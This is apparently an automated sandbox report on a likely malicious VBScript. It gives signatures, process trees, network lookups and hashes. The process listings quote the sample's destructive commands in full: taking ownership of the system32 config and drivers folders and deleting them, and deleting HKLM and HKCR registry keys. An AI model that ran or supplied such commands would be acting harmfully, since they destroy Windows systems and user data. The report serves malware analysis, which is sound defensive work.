Analysis Overview
SHA256
d5100abb8ddc4b07777387a291bfbf7c27530c8a1457b391bd15ffa441db2c5e
Threat Level: Likely malicious
The file file01.vbs was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Checks computer location settings
Modifies file permissions
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Modifies registry class
Modifies registry key
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-15 21:41
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-15 21:41
Reported
2024-08-15 21:44
Platform
win7-20240708-en
Max time kernel
117s
Max time network
118s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
cmd /c "copy C:\Users\Admin\AppData\Local\Temp\file01.wsf C:\Users\Admin\AppData\Local\Temp\file01.wsf.vbs && start C:\Users\Admin\AppData\Local\Temp\file01.wsf.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\file01.wsf.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\config\* >nul && icacls c:\windows\system32\config\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\config\* >nul 2>&1
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\drivers\* >nul && icacls c:\windows\system32\drivers\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\drivers\* >nul 2>&1
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\config\*
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\drivers\*
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\config\* /grant everyone:(f)
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\drivers\* /grant everyone:(f)
C:\Windows\system32\wbem\WMIADAP.EXE
wmiadap.exe /F /T
Network
Files
C:\Users\Admin\AppData\Local\Temp\file01.wsf.vbs
| MD5 | fefe72db31bfdbe4a0ae7f11cb852008 |
| SHA1 | a43900d8e5e5c0a6b8af5c7468080dffd88aacbc |
| SHA256 | d5100abb8ddc4b07777387a291bfbf7c27530c8a1457b391bd15ffa441db2c5e |
| SHA512 | a3f8fa70e1266d318e61d779c999657691ab919e46b25b2a9dc06afe627bc66667e1c6d6cc8f33f32ec85638756124e90ab0890b2b7fde5430f82c47aeaf51b0 |
C:\Users\Admin\Desktop\CompleteSave.vbs
| MD5 | 355d25ae00d82afebe47bffcaa713a40 |
| SHA1 | c6790a7e5d81ad3d1149974c75947d3b2509f544 |
| SHA256 | 93ac1d1665ee61e357aa40a09b1671be28e8c662d5d7601fb6156f1eafcb018c |
| SHA512 | 08d5b20fb2d6720c47ff5bc3cbb1ac5f7d8090bb014c13cf2da1c7f8da991ae6b1cf4d8b67aebd7d17077defe5845509dd95963c5d524a1cda79b782e247d4fa |
C:\Users\Admin\Music\WritePop.ogg
| MD5 | 81051bcc2cf1bedf378224b0a93e2877 |
| SHA1 | ba8ab5a0280b953aa97435ff8946cbcbb2755a27 |
| SHA256 | 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6 |
| SHA512 | 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d |
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-15 21:41
Reported
2024-08-15 21:44
Platform
win10v2004-20240802-en
Max time kernel
148s
Max time network
155s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000_Classes\Local Settings | C:\Windows\system32\cmd.exe | N/A |
Modifies registry key
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\reg.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
cmd /c "copy C:\Users\Admin\AppData\Local\Temp\file01.wsf C:\Users\Admin\AppData\Local\Temp\file01.wsf.vbs && start C:\Users\Admin\AppData\Local\Temp\file01.wsf.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\file01.wsf.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\config\* >nul && icacls c:\windows\system32\config\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\config\* >nul 2>&1
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\drivers\* >nul && icacls c:\windows\system32\drivers\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\drivers\* >nul 2>&1
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\drivers\*
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\config\*
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\config\* /grant everyone:(f)
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\drivers\* /grant everyone:(f)
C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" delete HKCR\*.dll
C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" delete HKCR\*.exe
C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" delete HKLM\*
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.150.49.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 23.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 232.168.11.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 8.8.8.8:53 | 57.169.31.20.in-addr.arpa | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 10.27.171.150.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\file01.wsf.vbs
| MD5 | fefe72db31bfdbe4a0ae7f11cb852008 |
| SHA1 | a43900d8e5e5c0a6b8af5c7468080dffd88aacbc |
| SHA256 | d5100abb8ddc4b07777387a291bfbf7c27530c8a1457b391bd15ffa441db2c5e |
| SHA512 | a3f8fa70e1266d318e61d779c999657691ab919e46b25b2a9dc06afe627bc66667e1c6d6cc8f33f32ec85638756124e90ab0890b2b7fde5430f82c47aeaf51b0 |
C:\Users\Admin\Desktop\desktop.vbs
| MD5 | 355d25ae00d82afebe47bffcaa713a40 |
| SHA1 | c6790a7e5d81ad3d1149974c75947d3b2509f544 |
| SHA256 | 93ac1d1665ee61e357aa40a09b1671be28e8c662d5d7601fb6156f1eafcb018c |
| SHA512 | 08d5b20fb2d6720c47ff5bc3cbb1ac5f7d8090bb014c13cf2da1c7f8da991ae6b1cf4d8b67aebd7d17077defe5845509dd95963c5d524a1cda79b782e247d4fa |